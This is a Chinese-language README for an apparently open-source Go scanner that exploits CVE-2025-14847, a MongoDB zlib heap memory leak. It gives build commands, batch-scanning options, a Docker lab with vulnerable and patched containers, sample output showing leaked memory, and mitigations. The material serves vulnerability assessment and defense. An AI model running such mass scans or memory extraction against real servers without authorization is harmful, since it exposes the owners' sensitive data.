
MongoDB 内存泄露漏洞 (CVE-2025-14847) 检测工具
MongoDB 内存泄露漏洞 (CVE-2025-14847) 检测工具
⚠️ 重要提示:此工具仅用于授权的安全测试和漏洞评估。未经授权的使用可能违反法律。
CVE-2025-14847 是 MongoDB Zlib 压缩协议处理中的严重内存泄露漏洞。攻击者可以通过发送恶意构造的压缩数据包,导致 MongoDB 返回未初始化的堆内存数据,可能包含敏感信息。
| 版本范围 | 状态 |
|---|---|
| 8.2.0 - 8.2.2 | ⚠️ 受影响 |
| 8.0.0 - 8.0.16 | ⚠️ 受影响 |
| 7.0.0 - 7.0.27 | ⚠️ 受影响 |
| 6.0.0 - 6.0.26 | ⚠️ 受影响 |
| 5.0.0 - 5.0.31 | ⚠️ 受影响 |
| 4.4.0 - 4.4.29 | ⚠️ 受影响 |
| 4.2.x 所有版本 | ⚠️ 受影响 |
| 4.0.x 所有版本 | ⚠️ 受影响 |
| 3.6.x 所有版本 | ⚠️ 受影响 |
# 克隆仓库
git clone https://github.com/onewinner/CVE-2025-14847.git
cd CVE-2025-14847
# 安装依赖
go mod download
# 编译
go build -o mongodb-scanner main.go
# 运行
./mongodb-scanner -t 127.0.0.1:27017
go run main.go -t 127.0.0.1:27017
前往 Releases 页面下载适合您系统的预编译版本。
# 扫描单个目标
./mongodb-scanner -t 127.0.0.1:27017
# 从文件批量扫描
./mongodb-scanner -f targets.txt
# 批量扫描(20线程)
./mongodb-scanner -f targets.txt -c 20
# 扫描并保存存在漏洞的目标
./mongodb-scanner -f targets.txt -o vulnerable.txt
# 自定义偏移范围(更快速或更深度扫描)
./mongodb-scanner -t 127.0.0.1:27017 --min-offset 20 --max-offset 1000
创建一个 targets.txt 文件:
# MongoDB 目标列表
127.0.0.1:27017
192.168.1.100:27017
mongodb.example.com:27017
# 如果不指定端口,默认使用 27017
192.168.1.101
为了安全地测试此工具,建议使用 Docker 搭建本地测试环境。
# 启动 MongoDB 6.0.14 (受漏洞影响的版本) 并开启 Zlib 压缩
docker run -d \
--name mongodb-vulnerable \
-p 27017:27017 \
mongo:6.0.14 \
--networkMessageCompressors snappy,zlib
# 查看容器状态
docker ps
# 测试漏洞
./mongodb-scanner -t 127.0.0.1:27017
创建 docker-compose.yml 文件:
version: '3.8'
services:
# 受漏洞影响的版本(开启 Zlib)
mongodb-vulnerable:
image: mongo:6.0.14
container_name: mongodb-vulnerable
ports:
- "27017:27017"
command: mongod --networkMessageCompressors snappy,zlib
# 已修复的版本(用于对比测试)
mongodb-patched:
image: mongo:6.0.27
container_name: mongodb-patched
ports:
- "27018:27017"
command: mongod --networkMessageCompressors snappy,zlib
volumes:
mongodb-data:
mongodb-patched-data:
启动测试环境:
# 启动所有容器
docker-compose up -d
# 测试受漏洞影响的版本
./mongodb-scanner -t 127.0.0.1:27017
# 测试已修复的版本
./mongodb-scanner -t 127.0.0.1:27018
# 停止并清理
docker-compose down -v
# 停止并删除容器
docker stop mongodb-vulnerable && docker rm mongodb-vulnerable
# 清理数据卷
docker volume prune -f
工具使用统一的前缀标记输出信息:
[*] - 信息输出(目标、版本、配置等)[+] - 成功/存在漏洞/提取到数据[-] - 失败/安全/不存在漏洞[!] - 警告/重要提示╔══════════════════════════════════════════════════════════════╗
║ MongoDB CVE-2025-14847 漏洞检测工具 ║
╚══════════════════════════════════════════════════════════════╝
⚠️ 仅用于授权安全测试 | 未经授权测试可能违法
[*] 目标: 1 | 线程: 10 | 超时: 2s | 偏移: 20-1000
[*] 开始扫描...
[*] 目标: 127.0.0.1:27017
[*] 版本: 6.0.14
[+] 漏洞版本: 是
[+] Zlib压缩: 已开启
[!] 漏洞可利用,开始提取内存...
[+] 偏移=229 长度=250: :00\"},\"s\":\"I\", \"c\":\"NETWORK\", \"id\":22944, \"ctx\":\"conn102932\",
[+] 127.0.0.1:27017 - 漏洞可利用 (v6.0.14) - 3468ms
[+] 成功提取 1 项内存数据:
[1] :00\"},\"s\":\"I\", \"c\":\"NETWORK\", \"id\":22944, \"ctx\":\"conn102932\",\"msg\":\"Connection ended\",\"attr\":{\"remote\":\"172.17.0.1:44936\"...
======================================================================
[*] 扫描完成 | 总数: 1 | 可利用: 1 | 安全: 0 | 耗时: 3.4s
======================================================================
[*] 目标: 127.0.0.1:27018
[*] 版本: 6.0.27
[-] 漏洞版本: 否
[-] 127.0.0.1:27018 - 版本安全 (v6.0.27) - 156ms
======================================================================
[*] 扫描完成 | 总数: 1 | 可利用: 0 | 安全: 1 | 耗时: 0.2s
======================================================================
[*] 目标: 127.0.0.1:27017
[*] 版本: 6.0.14
[+] 漏洞版本: 是
[-] Zlib压缩: 未开启
[-] 127.0.0.1:27017 - 未开启Zlib (v6.0.14) - 234ms
======================================================================
[*] 扫描完成 | 总数: 1 | 可利用: 0 | 安全: 1 | 耗时: 0.3s
======================================================================
[*] 目标: 5 | 线程: 10 | 超时: 2s | 偏移: 20-8192
[*] 开始扫描...
[+] 192.168.1.10:27017 - 漏洞可利用 (v6.0.14) - 3521ms
[+] 成功提取 2 项内存数据:
[1] Connection ended...
[2] network statistics...
[-] 192.168.1.11:27017 - 版本安全 (v6.0.27) - 145ms
[-] 192.168.1.12:27017 - 未开启Zlib (v6.0.14) - 198ms
[+] 192.168.1.13:27017 - 漏洞可利用 (v7.0.15) - 2987ms
[!] 192.168.1.14:27017 - 漏洞可利用但未提取到数据 (v6.0.20) - 4123ms
======================================================================
[*] 扫描完成 | 总数: 5 | 可利用: 3 | 安全: 2 | 耗时: 5.2s
======================================================================
[+] 可利用的目标已保存到: vulnerable.txt
本工具采用三步检测机制:
buildInfo 命令)| 条件 | 结果 |
|---|---|
| 漏洞版本 + Zlib开启 + 提取到数据 | ✅ 漏洞可利用 - 显示泄露数据 |
| 漏洞版本 + Zlib开启 + 未提取到数据 | ⚠️ 漏洞可利用但未提取到数据 |
| 漏洞版本 + Zlib未开启 | ❌ 未开启Zlib - 无法利用 |
| 非漏洞版本 | ✅ 版本安全 |
立即升级到以下修复版本之一:
如果短期内无法升级,可采取以下临时措施:
在 mongod.conf 或 mongos.conf 中配置:
net:
compression:
compressors: []
或在启动参数中明确排除 zlib:
mongod --networkMessageCompressors snappy,zstd
推荐使用 snappy 或 zstd 替代 zlib:
net:
compression:
compressors: snappy,zstd
bindIp 配置--auth 参数)⚠️ 重要提示: 临时缓解措施只能降低风险,不是根治方案。强烈建议尽快升级到已修复版本。
重要提示:
使用本工具即表示您同意:
本项目采用 MIT License 开源协议。
欢迎提交 Issue 和 Pull Request!
git checkout -b feature/AmazingFeature)git commit -m 'Add some AmazingFeature')git push origin feature/AmazingFeature)onewinner - @onewinner
项目地址: https://github.com/onewinner/CVE-2025-14847
⭐ 如果这个项目对您有帮助,请给个 Star!
Made with ❤️ by Security Researchers
| 参数 | 说明 | 默认值 |
|---|
-t <target> | 单个目标 (例如: 127.0.0.1:27017) | - |
-f <file> | 目标文件 (每行一个目标) | - |
-c <num> | 并发线程数 | 10 |
-timeout <time> | 连接超时时间 | 2s |
-o <file> | 输出文件 (保存存在漏洞的目标) | - |
--min-offset <num> | 最小文档长度偏移 | 20 |
--max-offset <num> | 最大文档长度偏移 | 8192 |